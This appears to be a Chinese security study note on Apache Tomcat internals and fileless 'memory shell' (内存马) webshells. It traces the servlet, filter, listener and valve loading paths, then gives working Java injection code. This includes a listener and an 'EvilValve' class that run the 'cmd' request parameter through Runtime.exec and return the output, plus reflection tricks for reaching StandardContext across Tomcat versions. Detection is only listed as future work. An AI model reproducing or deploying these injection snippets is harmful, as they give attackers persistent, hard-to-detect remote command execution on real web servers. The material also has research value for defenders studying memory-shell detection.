1.tomcat
1.tomcat 结构
--Server 顶层容器 --Service 提供具体服务的 --Connector --Container --Engine --Host --Context --Wrapper --Service Server: 一个Tomcat仅有一个Server,指代整个Web服务器。 Connector: 连接器,用于接受请求并将请求封装成Request和Response对象。
默认配置文件server.xml
connectionTimeout="20000" redirectPort="8443" />
Container:Catalina,Servlet 容器,处理servlet请求,内部有多层容器组成,用于管理 Servlet 生命周期,调用 servlet 相关方法。 在Container中,使用PipeLine-Value管道的方式处理请求,包含以下四个子容器: StandardEnginevalue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue Engine:Servlet 的顶层容器 Host:代表一个虚拟主机 Context:代表Webapps(默认应用文件夹,可更改)里单独某个Web应用,Web 应用上下文,包含多个 Wrapper,负责 web 配置的解析、管 理所有的 Web 资源; Wrapper:每个Wrapper中封装了一个Servlet
resourceName="UserDatabase"/> unpackWARs="true" autoDeploy="true"> prefix="localhost_access_log." suffix=".txt" pattern="%h %l %u %t "%r" %s %b" />
2.tomcat处理请求流程
一次完整请求,socket->http->response
Connector处理部分
NioEndpoint$SocketProcessor -> Http11Processor -> CoyoteAdapter,通过CoyoteAdapter的service方法,完成org.apache.coyote.Request -> org.apache.catalina.connector.Request (实现了HttpServletRequest)和org.apache.catalina.connector.Response (实现了HttpServletResponse)的转换。
2.servlet介绍
Servlet:Servlet的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。 装入:启动服务器时加载Servlet的实例。 初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。 调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法。 销毁:停止服务器时调用destroy()方法,销毁实例。 Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例; 每一次请求时都只调用方法doFilter()进行处理;停止服务器时调用destroy()方法,销毁实例。 Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。 每次请求创建时调用requestInitialized();每次请求销毁时调用requestDestroyed()。 加载顺序 web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,即listener的优先级为三者中最高的。
3.servlet内存马
3.1常见的servlet示例
1 2 3 4 5 6 7 8 9 10
public class LoginServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String name = request.getParameter("name"); String password = request.getParameter("password"); System.out.println("name:" + name); System.out.println("password:" + password); } }
在web.xml中配置如下
配置servlet类和maping的映射关
LoginServlet LoginServlet LoginServlet /login
servlet生命周期
login请求具体过程
3.2servlet加载流程调试。调试环境 tomcat8
3.2.1一个Wrapper代表一个servlet实例,StandardContext.class 中有createWrapper 方法,在此处在断点进行调试
关键的调用过程如下:
3.2.2发现:ContextConfig.webConfig() 方法,会加载我们的配置文件web.xml,然后对xml进行解析,获取filter,servlet配置信息。测试环境暂未添加listener
3.2.3解析完配置文件之后,ContextConfig.configureContext,对context进行配置
会对filter,listener,servlet进行配置
3.2.4其中对servlet的配置过程如下:
创建wrapper实例,赋值servletname
3.2.5设置 Servlet 对应的 Class
3.2.6将wrapper添加至当前的context中
3.2.7wrapper配置完后,配置mapping
进入StandardContext.addServletMappingDecoded()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
public void addServletMappingDecoded(String pattern, String name, boolean jspWildCard) { //查找当前child中有没有这个servletname的wrapper if (this.findChild(name) == null) { throw new IllegalArgumentException(sm.getString("standardContext.servletMap.name", new Object[]{name})); } else { //对路由进行判断 String adjustedPattern = this.adjustURLPattern(pattern); if (!this.validateURLPattern(adjustedPattern)) { throw new IllegalArgumentException(sm.getString("standardContext.servletMap.pattern", new Object[]{adjustedPattern})); } else { synchronized(this.servletMappingsLock) { // 前面没有对wrapper进行路由关系映射 String name2 = (String)this.servletMappings.get(adjustedPattern); if (name2 != null) { Wrapper wrapper = (Wrapper)this.findChild(name2); wrapper.removeMapping(adjustedPattern); } //context中添加路由与wrapper映射关系 this.servletMappings.put(adjustedPattern, name); } Wrapper wrapper = (Wrapper)this.findChild(name); //wrapper中添加对应mapping信息 wrapper.addMapping(adjustedPattern); this.fireContainerEvent("addServletMapping", adjustedPattern); } } } 总结: 1.查找 当前的Child的wrapper 2.对路由进行校验 3.向context 的mapping 中添加 路由和servletname 4.在当前child中找到name 相同的wapper 5.相同的wapper 添加路由 这个过程也和web.xml的属性对应 LoginServlet LoginServlet LoginServlet /login
3.2.8servlet的启动顺序
StandardWrapper.loadServlet()处下断点
其中在StandardContext.startInternal()方法中可以看到tomcat对servlet的加载顺序
3.2.9jsp注入
Wrapper newWrapper = context.createWrapper(); String name = servlet.getClass().getSimpleName(); //3.2.4 newWrapper.setName(name); //newWrapper.setLoadonStartup(1); ///3.2.5 newWrapper.setServletClass(servlet.getClass().getName());
//3.2.6
context.addChild(newWrapper);
//3.2.7 context.addServletMappingDecoded("/master", name);
newWrapper.setServlet(servlet);
发现这个 是用不了的,对比filter是缺少了与类实例的映射。
在applicationcontext的addservlet方法中, 是有这行代码,设置类实例
StandardWrapper.load)中 ,也是将
this.instance = this.loadServlet();
loadServlet()返回servlet ,servlet = (Servlet)instanceManager.newInstance(this.servletClass);
instance 设置为servlet实例
所以要添加
将wrapper与servlets实例关联
Wrapper.setServlet(servlet);
最后如下:
Wrapper newWrapper = context.createWrapper(); String name = servlet.getClass().getSimpleName(); //3.2.4 newWrapper.setName(name); newWrapper.setLoadonStartup(1); // //newWrapper.setServlet(servlet); ///3.2.5 newWrapper.setServletClass(servlet.getClass().getName());
context.addChild(newWrapper); context.addServletMappingDecoded("/master", name);
4.Filter型内存马
4.1常见filter类用例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
public class FirstFilter implements Filter { @Override public void destroy() { // 在web容器卸载Filter对象之前被调用 } @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; request.setCharacterEncoding("UTF-8"); String ip = request.getRemoteAddr(); String url = request.getRequestURL().toString(); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); Date d = new Date(); String date = sdf.format(d); System.out.printf("%s %s 访问了 %s%n", date, ip, url); chain.doFilter(request, response); } @Override public void init(FilterConfig arg0) throws ServletException { } }
web.xml配置
FirstFilter //名字自定义 Filterdemo.FirstFilter //类名 FirstFilter //与前面对应 /* // 作用域
4.2 执行顺序,filter的执行顺序与添加web.xml添加的顺序一致
4.3执行点: 当执行到最后的StandardWrapperValue时,将通过ApplicationFilterFactory对象的createFilterChain()方法,创建FilterChain(过滤链),并调用FilterChain.doFilter()方法,对请求进行过滤操作。
关键,从context中获取filterMaps,通过filtermap获取filterconfig,将filterconfig添加进filterChain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { if (servlet == null) { return null; } else { ApplicationFilterChain filterChain = null; if (request instanceof Request) { Request req = (Request)request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain(); } else { filterChain = (ApplicationFilterChain)req.getFilterChain(); if (filterChain == null) { filterChain = new ApplicationFilterChain(); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain(); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext)wrapper.getParent(); FilterMap[] filterMaps = context.findFilterMaps(); if (filterMaps != null && filterMaps.length != 0) { DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE"); String requestPath = null; Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH"); if (attribute != null) { requestPath = attribute.toString(); } String servletName = wrapper.getName(); FilterMap[] arr$ = filterMaps; int len$ = filterMaps.length; int i$; FilterMap filterMap; ApplicationFilterConfig filterConfig; for(i$ = 0; i$ < len$; ++i$) { filterMap = arr$[i$]; if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) { filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig != null) { 当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。 filterChain.addFilter(filterConfig); } } } arr$ = filterMaps; len$ = filterMaps.length; for(i$ = 0; i$ < len$; ++i$) { filterMap = arr$[i$]; if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) { filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig != null) { filterChain.addFilter(filterConfig); } } } return filterChain; } else { return filterChain; } } }
filtermap中存放filtername与url 对应关系
1 2 3
private HashMap filterConfigs = new HashMap(); private HashMap filterDefs = new HashMap(); private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
filterConfigs 变量存储了filter名称与相应的ApplicationFilterConfig对象,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息
filterDefs 变量存储了filter名称与相应FilterDef的对象,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系
总结:
filterMaps变量:含有所有filter的URL映射关系
filterDefs变量: 含有所有filter包括实例在内等变量
filterConfigs 变量:含有所有与filter对应的filterDef信息及filter实例,并对filter进行管理
createFilterChail方法会根据请求的URL在filterMaps中匹配filter,然后在filterConfigs中找到filter实例,创建filterChain。
因此,我们只需要向StandardContext实例的filterMaps、filterDefs、filterConfigs中添加恶意Filter相关参数,即可完成Filter马的注入。
注入:
... Map filterConfigs = (Map)fconfig.get(standardContext); ... //filterdef FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); // filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); // 设置类名 standardContext.addFilterDef(filterDef); // 放入 context的filterdef中 //filtermap FilterMap filterMap = new FilterMap(); //存放作用域和filter 名称 filterMap.addURLPattern("/*"); filterMap.setFilterName(name); //添加近filtermaps standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); //filterConfigs 从前面的 全局作用域获取,通过反射修改。 filterConfigs.put(name,filterConfig);
5,listener注入
5.1常见的listener使用
public class ServletRequestLister implements ServletRequestListener { // 监听请求 @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { System.out.println(servletRequestEvent.getServletRequest()+" over"); } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { System.out.println(servletRequestEvent.getServletRequest()+" start"); } }
web.xml配置
ServletRequestListener listenter.ServletRequestLister
listener都是全局都是全局的不用设置路由。
常见的listenerl类
ServletContextListener:用于监听web应用的启动和关闭 ServletContextAttributeListener:用于监听在application范围内的数据的变动 ServletRequestListener:用于监听用户请求的细节 ServletRequestAttributeListener:用于监听request范围内的数据的变动 HttpSessionListener:用于监听某次会话的开始和结束 HttpSessionAttributeListener:用于监听session范围内的属性数据的变动
5.2listener的启动流程
StandardHostValve的context.fireRequestInitEvent(request.getRequest() 触发
this.getApplicationEventListeners();获取listener
getApplicationEventListeners方法如下:
1 2 3
public Object[] getApplicationEventListeners() { return this.applicationEventListenersList.toArray(); }
applicationEventListenersList在standardcontext中如下:
private List applicationEventListenersList = new CopyonWriteArrayList();
applicationEventListenersList 有addApplicationEventListener
1 2 3
public void addApplicationEventListener(Object listener) { this.applicationEventListenersList.add(listener); }
看起来就是添加listener,所以,我们只要获取standardcontext,调用addApplicationEventListener,将listener添加进去即可
根据listener类别,我们可以使用ServletRequestListener类,它的方法有requestInitialized(),requestDestroyed(),当一个新的request触发和销毁时,方法分别被执行。
注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
final String name = "mtys"; ServletContext servletContext = request.getServletContext(); ApplicationContextFacade applicationContextFacade =(ApplicationContextFacade) request.getServletContext(); // 当前的全局作用域对象 Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取 他的 会话 appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(applicationContextFacade); // 当前作用对象 Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); class myListener implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null){ InputStream in = null; try { in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\A"); String out = s.hasNext()?s.next():""; Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } public void requestInitialized(ServletRequestEvent sre) {} } myListener listenerdemo = new myListener(); standardContext.addApplicationEventListener(listenerdemo);
5.standardcontext获取的方法:
5.1 jsp中request对象获取
Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); //另一种办法 ServletContext servletContext = request.getSession().getServletContext(); ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; Field apcontext = servletContext.getClass().getDeclaredField("context"); apcontext.setAccessible(true); /反射获取对象 applicationContextFacade下的 context applicationcontext ApplicationContext applicationContext =(ApplicationContext)apcontext.get(applicationContextFacade); Field scontext = applicationContext.getClass().getDeclaredField("context"); scontext.setAccessible(true); StandardContext standardContext = (StandardContext)scontext.get(applicationContext);
5.2 ContextClassLoader中获取
1 2 3
org.apache.catalina.loader.WebappClassLoaderbase webappClassLoaderbase =(org.apache.catalina.loader.WebappClassLoaderbase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderbase.getResources().getContext();
5.3从jmbserver中获取,不同的版本,获取方式不同,同一版本获取方式不唯一
javax.management.MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); //mbsInterceptor Object obj =null; Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); obj = field.get(mbeanServer); //repository field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); obj = field.get(obj); // domainTb field =Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); field.setAccessible(true); HashMap ob =null; ob = (HashMap)field.get(obj); //class com.sun.jmx.mbeanserver.NamedObject ob = (HashMap) ob.get("Catalina"); obj = ob.get("type=Mapper"); Field modifersField = Field.class.getDeclaredField("modifiers"); modifersField.setAccessible(true); field =Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); field.setAccessible(true); modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); obj = field.get(obj); field =Class.forName("org.apache.tomcat.util.modeler.baseModelMBean").getDeclaredField("resource"); field.setAccessible(true); obj = field.get(obj); // field =Class.forName("org.apache.catalina.mapper.MapperListener").getDeclaredField("mapper"); modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); field.setAccessible(true); obj = field.get(obj); field =Class.forName("org.apache.catalina.mapper.Mapper").getDeclaredField("contextObjectToContextVersionMap"); field.setAccessible(true); Map mp = null; mp= (Map) field.get(obj); Object[] obj1 = mp.keySet().toArray(); org.apache.catalina.core.StandardContext standardContext = ( org.apache.catalina.core.StandardContext) obj1[0];
5.4 其他
tomcat全版本:https://xz.aliyun.com/t/9914
ThreadLocal获取request:https://xz.aliyun.com/t/7388
6.value型内存马 tomcat型
6.1value
tomcat是一种 管道阀门格式传递消息。value就是阀门的角色。
一个管道可以有多个阀门。tomcat会调用各个管道的阀门,默认的4个阀门StandardEnginevalue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue。
会调用Value 的invoke方法。invoke方法中有request对象,可以从中解析处httprequest。
这种value会 有类似host.getPipeline().getFirst().invoke(request, response);进行挨个调用
我们只需要把恶意的valuye值注入进去就可以了
和默认的ErrorReportValve类一样所有阀门都需要继承Valvebase类
恶意类如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
public class EvilValve extends Valvebase{ @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmder = request.getParameter("cmd"); String[] cmd = new String[]{"cmd", "/c", cmder}; try { Process ps = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("n"); } String result = sb.toString(); response.getWriter().write(result); } catch (Exception e) { System.out.println("error "); } getNext().invoke(request, response); //20210628-Update } }
在StandardHost 中发现 有调用addValve方法
调用的是Containerbase的addValve方法
1 2 3
public synchronized void addValve(Valve valve) { this.pipeline.addValve(valve); }
StandardEngineStandardHostStandardContextStandardWrapper 都继承Containerbase类都有addValve我们只需要把恶意的value类方法加入其中就可以
这里加入StandardContext的value,StandardContext的获取方法和之前一样。
1 2 3 4 5 6 7 8
ApplicationContextFacade appCf = (ApplicationContextFacade)request.getServletContext(); ApplicationContext appCtx = (ApplicationContext)getFieldValue(appCf, "context"); Field scontext = appCtx.getClass().getDeclaredField("context"); scontext.setAccessible(true); StandardContext standardContext = (StandardContext)scontext.get(appCtx); EvilValve evilValve = new EvilValve(); standardContext.getPipeline().addValve(evilValve); out.println("注入valve成功!");
待补充:
1.内存马查杀
2.spring内存马,agent内存马